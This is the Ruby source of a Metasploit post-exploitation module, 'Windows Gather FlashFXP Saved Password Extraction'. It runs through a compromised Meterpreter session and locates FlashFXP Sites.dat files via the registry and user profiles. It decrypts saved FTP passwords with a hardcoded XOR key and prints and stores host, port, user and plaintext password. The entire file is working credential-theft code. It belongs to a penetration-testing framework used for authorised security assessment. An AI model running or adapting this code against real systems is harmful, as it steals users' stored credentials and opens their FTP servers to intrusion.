metasploit-framework/modules/post/windows/gather/credentials/flashfxp.rb

121 lines
3.2 KiB
Ruby

# $Id$
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex'
require 'rex/parser/ini'
require 'msf/core/post/windows/user_profiles'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::Registry
include Msf::Auxiliary::Report
include Msf::Post::Windows::UserProfiles
def initialize(info={})
super(update_info(info,
'Name' => 'Windows Gather FlashFXP Saved Password Extraction',
'Description' => %q{
This module extracts weakly encrypted saved FTP Passwords from FlashFXP. It
finds saved FTP connections in the Sites.dat file. },
'License' => MSF_LICENSE,
'Author' => [ 'TheLightCosine <thelightcosine[at]gmail.com>'],
'Version' => '$Revision$',
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ]
))
end
def run
#Checks if the Site data is stored in a generic location for all users
flash_reg = "HKLM\\SOFTWARE\\FlashFXP"
flash_reg_ver = registry_enumkeys("#{flash_reg}")
#Ini paths
@fxppaths = []
unless flash_reg_ver.nil?
software_key = "#{flash_reg}\\#{flash_reg_ver.join}"
generic_path = registry_getvaldata(software_key, "InstallerDataPath") || ""
unless generic_path.include? "%APPDATA%"
@fxppaths << generic_path + "\\Sites.dat"
end
end
grab_user_profiles().each do |user|
next if user['AppData'] == nil
tmpath= user['AppData'] + '\\FlashFXP\\'
get_ver_dirs(tmpath)
end
@fxppaths.each do |fxp|
get_ini(fxp)
end
end
def get_ver_dirs(path)
begin
session.fs.dir.foreach(path) do |sub|
next if sub =~ /^(\.|\.\.)$/
@fxppaths << "#{path}#{sub}\\Sites.dat"
end
rescue
print_error("The following path could not be accessed or does not exist: #{path}")
end
end
def get_ini(filename)
begin
config = client.fs.file.new(filename,'r')
parse = config.read
ini = Rex::Parser::Ini.from_s(parse)
if ini == {}
print_error("Unable to parse file, may be encrypted using external password: #{filename}")
end
ini.each_key do |group|
host = ini[group]['IP']
username = ini[group]['user']
epass = ini[group]['pass']
port = ini[group]['port']
next if epass == nil or epass == ""
passwd = decrypt(epass)
print_good("*** Host: #{host} Port: #{port} User: #{username} Password: #{passwd} ***")
report_auth_info(
:host => host,
:port => port,
:sname => 'FTP',
:source_id => session.db_record.id,
:source_type => "exploit",
:user => username,
:pass => passwd)
end
rescue
print_status("Either could not find or could not open file #{filename}")
end
end
def decrypt(pwd)
key = "yA36zA48dEhfrvghGRg57h5UlDv3"
pass = ""
cipher = [pwd].pack("H*")
(0..(cipher.length)-2).each do |index|
xored = cipher[index + 1,1].unpack("C").first ^ key[index,1].unpack("C").first
if ((xored - cipher[index,1].unpack("C").first < 0))
xored += 255
end
pass << (xored - cipher[index,1].unpack("C").first).chr
end
return pass
end
end